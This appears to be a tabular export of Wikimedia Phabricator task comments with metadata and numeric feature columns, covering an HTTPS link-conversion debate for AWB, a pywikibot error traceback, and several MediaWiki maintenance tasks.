Firstly, I hardly find that simple conversation at WP:VPT can be called a consensus. What we do by encouragement, and what we do by force, and by our opinions are different things. Before you go and enforce into AWB a means to change links, there should be amendments to the editing guidelines through the MoS that the links should be styled as https in preference to http if that option exists. Such a change should be through a Request for Comment process. [Sure that makes it harder, but it makes it open and it makes it through a proper consensus. Don't shortcut the people.]

Secondly, rewriting urls from the form that they are added to a new/altered domain form, as you have slipped into the phab ticket, was not part of the discussion, and should not be undertaken. Your personal preference for a domain is not relevant, there is no requirement for any of these links to be in .com, away from the originally added domain variation. It is an unnecessary change, a change that those who entered the link could rightly take umbrage, and technically introducing the ability for error.

The AWB product is used across all the wikipedias, and not just English Wikipedia,. In fact it is used across all the sister wikis. Expressed requirements for change should take into consideration of all the wikis, not just your suggestion at enWP:WP:WPT. While AWB is used as ""user beware, user be responsible for edits"" changes that have the potential to break things should be avoided.  Here are suggesting adding a change  for a //genfix // that is not actually fix at all, just a change based on a preference. The change if used outside of enWP could break other wikis rules, and as such I believe it is a bad idea for genfix. Have it as a plug-in *if* you get it through an RFC, but it is not a fix, and it is definitely not a genfix.


[Noting all this is not about whether use of https or http is preferred, it is about the process for getting a change, and whether the change should happen. This is about going through the right processes for community consensus. not sneaking in a policy change through the backdoor.]

For what it is worth, templates are different, and would usually present a specific configuration which people can choose to use, or not, so I am not certain of the pertinency of the comment. That are what they are.

"
522317,Convert selected external links to HTTPS,"@Billinghurst What makes you think this kind of fix would interfere with an ""personal [language] preference""? Language is not affected at all by changing the link protocol from HTTP to HTTPS.

@Rjwilmsi Back in 2014, when Wikipedia still gave the option between HTTP or HTTPS access, we had [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(policy)/Archive_111#As_WP_uses_HTTPS.2C_should_.28some.29_external_links.2C_too.3F | a discussion ]] that concluded we should make people exit Wikipedia on the same protocol they entered (i.e., protocol-relative links), provided that a given website offers both HTTP and HTTPS. Now that Wikimedia projects are all HTTPS-by-default, this implies we should have HTTPS links where ever possible.",,,1441667237,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1.5,0.0,0.0,0.5,0.5,4.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,2.0,0.0,5.5,7.5,0.0,0.0,1.5,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,3.5,2.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,1.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,4.0,1.5,11.0,3.0,1.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,3.5,7.5,6.5,0.5,1.0,0.0,3.5,0.0,2.5,2.0,0.0,0.5,0.0,0.0,2.0,4.1803278688524586,0.8114754098360655,"SCREEN_NAME What makes you think this kind of fix would interfere with an ""personal [language] preference""? Language is not affected at all by changing the link protocol from HTTP to HTTPS.
SCREEN_NAME Back in 2014, when Wikipedia still gave the option between HTTP or HTTPS access, we had [[ URL | a discussion ]] that concluded we should make people exit Wikipedia on the same protocol they entered (i.e., protocol-relative links), provided that a given website offers both HTTP and HTTPS. Now that Wikimedia projects are all HTTPS-by-default, this implies we should have HTTPS links where ever possible."
522316,Convert selected external links to HTTPS,"@Billinghurst What makes you think this kind of fix would interfere with an ""personal [language] preference""? Language is not affected at all by changing the link protocol from HTTP to HTTPS.

@Rjwilmsi Back in 2014, when Wikipedia still gave the option for HTTP or HTTPS access, we had [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(policy)/Archive_111#As_WP_uses_HTTPS.2C_should_.28some.29_external_links.2C_too.3F | a discussion ]] that concluded we should make people exit Wikipedia on the same protocol they entered (i.e., protocol-relative links), provided that a given website offers both HTTP and HTTPS. Now that Wikimedia projects are all HTTPS-by-default, this implies we should have HTTPS links where ever possible.",,,1441667187,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1.5,0.0,0.0,0.5,0.5,4.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,2.0,0.0,5.5,7.5,0.0,0.0,1.5,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,3.5,2.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,1.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,4.0,1.5,11.0,3.0,1.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,3.5,7.5,6.5,0.5,1.0,0.0,3.5,0.0,2.5,2.0,0.0,0.5,0.0,0.0,2.0,4.147540983606557,0.8114754098360655,"SCREEN_NAME What makes you think this kind of fix would interfere with an ""personal [language] preference""? Language is not affected at all by changing the link protocol from HTTP to HTTPS.
SCREEN_NAME Back in 2014, when Wikipedia still gave the option for HTTP or HTTPS access, we had [[ URL | a discussion ]] that concluded we should make people exit Wikipedia on the same protocol they entered (i.e., protocol-relative links), provided that a given website offers both HTTP and HTTPS. Now that Wikimedia projects are all HTTPS-by-default, this implies we should have HTTPS links where ever possible."
522279,Convert selected external links to HTTPS,@Rjwilmsi - I'll leave it to @Bender235 to confirm consensus.  Please note that https://en.wikipedia.org/wiki/Template:YouTube and https://en.wikipedia.org/wiki/Template:Wayback and https://en.wikipedia.org/wiki/Template:Google_books already use HTTPS for the links they generate. ,,,1441662937,,PHID-USER-krjpnhgsydqj7ggm7k6m,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,14.0,10.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.275862068965517,0.8620689655172413,SCREEN_NAME - I'll leave it toSCREEN_NAME to confirm consensus.  Please note that URL and URL and URL already use HTTPS for the links they generate. 
522261,Convert selected external links to HTTPS,"Please provide a link to a centralised discussion confirming that this change has consensus for wikipedia (en-wp at least). VPT may establish technical merit, I would like to see WP:CITE etc. discussions being clear HTTPS links are preferred in these cases.

There are four sites mentioned but not scope/examples for all four. It says cite templates only yet there's no explanation why this would not apply to other external links, links generated by infoboxes etc.

If were to implement such a change we need more clarity.",,,1441661850,,PHID-USER-n4fae3u5zhz6omceginz,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,9,True,1.0,0.0,0.0,0.5,2.0,5.5,1.5,0.0,0.0,1.0,0.5,0.0,0.0,1.0,1.5,1.5,0.5,5.0,8.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.5,1.0,5.0,1.0,1.0,2.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,10.0,1.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,3.0,5.5,2.5,1.0,7.0,0.0,0.0,0.0,0.0,6.0,0.5,2.0,0.0,2.5,8.0,2.5,0.0,0.0,0.0,2.5,0.0,1.0,2.0,0.0,0.5,1.0,0.5,3.0,4.190130624092888,0.9045718432510885,"Please provide a link to a centralised discussion confirming that this change has consensus for wikipedia (en-wp at least). VPT may establish technical merit, I would like to see WP:CITE etc. discussions being clear HTTPS links are preferred in these cases.

There are four sites mentioned but not scope/examples for all four. It says cite templates only yet there's no explanation why this would not apply to other external links, links generated by infoboxes etc.

If were to implement such a change we need more clarity."
522258,Convert selected external links to HTTPS,"@Billinghurst - Are you saying that this fix would not be appropriate on wikis outside of Wikipedia (any language)?  Or would not be appropriate on Wikipedias except for enWP?  Or are you also saying that this would not be appropriate for enWP?  If the latter, could you please expand on how it would be ""interfering""?  Thanks!",,,1441661545,,PHID-USER-krjpnhgsydqj7ggm7k6m,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1.0,0.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,3.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,11.0,7.0,3.0,6.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,6.0,16.0,4.0,6.0,3.0,0.0,6.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,3.857142857142857,0.6142857142857143,"SCREEN_NAME - Are you saying that this fix would not be appropriate on wikis outside of Wikipedia (any language)?  Or would not be appropriate on Wikipedias except for enWP?  Or are you also saying that this would not be appropriate for enWP?  If the latter, could you please expand on how it would be ""interfering""?  Thanks!"
522257,Convert selected external links to HTTPS,"@Billinghurst - Are you saying that this fix would not be appropriate outside of enWP?  Or are you also saying that this would not be appropriate for enWP?  If the latter, could you please expand on how it would be ""interfering""?  Thanks!",,,1441661467,,PHID-USER-krjpnhgsydqj7ggm7k6m,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,4.0,0.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,10.0,8.0,2.0,6.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,8.0,13.0,0.0,6.0,4.0,0.0,8.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,3.75,0.6730769230769231,"SCREEN_NAME - Are you saying that this fix would not be appropriate outside of enWP?  Or are you also saying that this would not be appropriate for enWP?  If the latter, could you please expand on how it would be ""interfering""?  Thanks!"
522244,Convert selected external links to HTTPS,"English-language-centrism. enWP is not the font of all knowledge and the determiner of all linking styles. As such that this an interfering fix that is unnecessary and meets personal preference, not a necessary outcome.

",,,1441659457,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,5.0,0.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,5.0,5.0,2.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,4.372093023255814,0.7674418604651163,"English-language-centrism. enWP is not the font of all knowledge and the determiner of all linking styles. As such that this an interfering fix that is unnecessary and meets personal preference, not a necessary outcome.

"
111617,'TypeError: __str__ returned non-string (type SysCallError)' in HTTP requests,"Sometimes (lately, more frequently) I get these errors on the console:


```
ERROR: Traceback (most recent call last):
File ""D:\Work\pywikipedia\pywikibot\data\api.py"", line 1932, in submit
body=body, headers=headers)
File ""D:\Work\pywikipedia\pywikibot\tools\__init__.py"", line 1267, in wrapper
return obj(*__args, **__kw)
File ""D:\Work\pywikipedia\pywikibot\comms\http.py"", line 245, in request
r = fetch(baseuri, method, body, headers, **kwargs)
File ""D:\Work\pywikipedia\pywikibot\comms\http.py"", line 401, in fetch
error_handling_callback(request)
File ""D:\Work\pywikipedia\pywikibot\comms\http.py"", line 318, in error_handlin
g_callback
raise request.data
TypeError: __str__ returned non-string (type SysCallError) 

```

The error is not fatal, and the request is usually retried after some seconds.
This is not the usual ""read timed out"" which happens sometimes.


```
>pwb.py version
Pywikibot: [https] r-pywikibot-core.git (0e2a436, g6351, 2015/09/05, 10:08:04, ok)
Release version: 2.0b3
requests version: 2.7.0
  cacerts: C:\Program Files\Python\lib\site-packages\requests\cacert.pem
    certificate test: ok
Python: 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1500 32 bit (Intel)]
PYWIKIBOT2_DIR: Not set
PYWIKIBOT2_DIR_PWB: D:\Work\pywikipedia
PYWIKIBOT2_NO_USER_CONFIG: Not set
Config base dir: D:\Work\pywikipedia

```",Low,25.0,1441491116,1599978319.0,PHID-USER-maceogqtxg4qfaefx7wd,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-eqfxv6nf2kwouvveyhux,task_description,declined,True,c3,3,False,False,False,9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.857142857142857,0.8571428571428571,"Sometimes (lately, more frequently) I get these errors on the console:


``CODE`CODE`CODE``"
1578802,'TypeError: __str__ returned non-string (type SysCallError)' in HTTP requests,Very outdated requests version. I close this task after that long time. Please reopen if it still occurs.,,,1599978319,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-eqfxv6nf2kwouvveyhux,task_subcomment,,True,c3,3,True,,,271,True,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,0.9047619047619048,Very outdated requests version. I close this task after that long time. Please reopen if it still occurs.
111485,Update SocialLogin to use AuthManager,"See parent task and T110431#1604967.

This should likely be redone as a PrimaryAuthenticationProvider, where it can now integrate with Special:UserLogin and Special:CreateAccount instead of having to do its own special page and such.",Low,25.0,1441335335,1584949516.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-rtjm2f3j445rwuqdp4lu,task_description,invalid,True,c3,3,True,False,False,9,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,2.0,7.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.926829268292683,0.8780487804878049,"See parent task and T110431#1604967.

This should likely be redone as a PrimaryAuthenticationProvider, where it can now integrate with Special:UserLogin and Special:CreateAccount instead of having to do its own special page and such."
1469046,Update SocialLogin to use AuthManager,Tasks relating to this extension should be filed upstream: https://github.com/ajarzebowski/SocialLogin . Closing this task as invalid here.,,,1584949516,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rtjm2f3j445rwuqdp4lu,task_subcomment,,True,c3,3,True,,,246,True,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.368421052631579,0.8947368421052632,Tasks relating to this extension should be filed upstream: URL . Closing this task as invalid here.
815263,Update SocialLogin to use AuthManager,"The extension is [[https://gerrit.wikimedia.org/r/#/admin/projects/mediawiki/extensions/SocialLogin|in Gerrit]] so we filed a bug for it here in Phabricator. It doesn't matter to me whether the task gets moved to Github, although if anyone wants to ask questions about it I won't see it there.

If the project is dead, perhaps our Gerrit copy should be emptied so people doing general maintenance don't [[https://gerrit.wikimedia.org/r/#/q/project:mediawiki/extensions/SocialLogin|try to update it]].",,,1487947934,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-rtjm2f3j445rwuqdp4lu,task_subcomment,,True,c3,3,True,,,86,True,0.0,1.0,0.0,1.0,4.0,2.0,1.0,0.0,1.0,2.0,1.0,4.0,0.0,0.0,0.0,5.0,0.0,9.0,15.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,4.0,12.0,6.0,0.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,15.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,5.0,3.5375,0.725,"The extension is [[URL Gerrit]] so we filed a bug for it here in Phabricator. It doesn't matter to me whether the task gets moved to Github, although if anyone wants to ask questions about it I won't see it there.

If the project is dead, perhaps our Gerrit copy should be emptied so people doing general maintenance don't [[URL to update it]]."
815257,Update SocialLogin to use AuthManager,[[ https://github.com/lufton/SocialLogin/ | This project looks dead ]] and this task should likely be on GitHub and not here.,,,1487947265,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rtjm2f3j445rwuqdp4lu,task_subcomment,,True,c3,3,True,,,86,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.272727272727273,0.8636363636363636,[[ URL | This project looks dead ]] and this task should likely be on GitHub and not here.
110853,MediaWiki-Vagrant https role does not work with guest machine IP ,"The `https` role uses `WebRequest::detectServer()` so the predefined server/port overrides the actual one. This is a problem for vagrant boxes which should both be reachable from `127.0.0.1:4430` (for convenient manual testing) and from `<guest ip>:443` (for use with another vagrant box, e.g. for testing InstantCommons backend changes).",Low,25.0,1440981703,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-ttouzrhwzptlmu4mxzrj,task_description,open,True,c3,3,True,False,,8,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,4.0,13.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.4,0.7636363636363637,"The CODE role uses CODE so the predefined server/port overrides the actual one. This is a problem for vagrant boxes which should both be reachable from CODE (for convenient manual testing) and from CODE (for use with another vagrant box, e.g. for testing InstantCommons backend changes)."
646078,MediaWiki-Vagrant https role does not work with guest machine IP ,"This doesn't seem to relate to Operations http support, so I'm removing those tags.  Please re-ad with a request if you need something from Ops.",,,1460663070,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ttouzrhwzptlmu4mxzrj,task_subcomment,,True,c3,3,True,,,41,True,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,18.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6363636363636362,0.9393939393939394,"This doesn't seem to relate to Operations http support, so I'm removing those tags.  Please re-ad with a request if you need something from Ops."
517450,MediaWiki-Vagrant https role does not work with guest machine IP ,A side effect of T75510.,,,1440982574,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ttouzrhwzptlmu4mxzrj,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,A side effect of T75510.
109719,Make webservicemonitor support doing a HTTP health check,Currently it just checks to see if the process is running. Have an additional way for people to check for a 200 status code as well.,Low,25.0,1440085454,1467721844.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-wvxpmy3gaocswypisskf,task_description,declined,True,c3,3,True,True,False,7,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,3.8214285714285716,0.8928571428571429,Currently it just checks to see if the process is running. Have an additional way for people to check for a 200 status code as well.
688621,Make webservicemonitor support doing a HTTP health check,Superseeded by T139157,,,1467721844,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-wvxpmy3gaocswypisskf,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.666666666666667,1.0,Superseeded by T139157
109330,Provide shareable deep URL to login in Phabricator,"When I tell users to login in https://phabricator.wikimedia.org, they systematically get lost; success rate is very close to 0 %. We know the reasons: T87552, T963. To work around the former I link directly https://phabricator.wikimedia.org/auth/start/ , but the stupid login form can't be worked around: I need a direct link which brings the user to a familiar place where they know what to do.

The button doesn't provide an <a> element with a link that can be copied, instead it forwards to an URL like https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special%3AOAuth%2Fauthorize&returntoquery=oauth_token%3D********************************%26oauth_consumer_key%3D******************************** which can't be shared.

Whatever logic is behind the button forward (the form /auth/login/mediawiki:mediawiki/ with some hidden value) should be exposed via another phabricator URL that we can then share.",Low,25.0,1439828913,1532719600.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ve6ioj5ain4rwxonzkws,task_description,declined,True,c3,3,True,False,False,6,True,0.5,0.0,0.5,2.5,2.0,2.5,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.5,0.0,7.0,8.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,6.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,13.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.5,2.0,0.5,8.0,4.0,8.5,1.5,0.5,11.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,4.5,8.5,2.0,0.0,0.0,0.0,4.5,0.0,4.0,4.0,0.0,0.0,0.0,0.0,1.5,3.745472837022133,0.758953722334004,"When I tell users to login in URL they systematically get lost; success rate is very close to 0 %. We know the reasons: T87552, T963. To work around the former I link directly URL , but the stupid login form can't be worked around: I need a direct link which brings the user to a familiar place where they know what to do.

The button doesn't provide an <a> element with a link that can be copied, instead it forwards to an URL like URL which can't be shared.

Whatever logic is behind the button forward (the form /auth/login/mediawiki:mediawiki/ with some hidden value) should be exposed via another phabricator URL that we can then share."
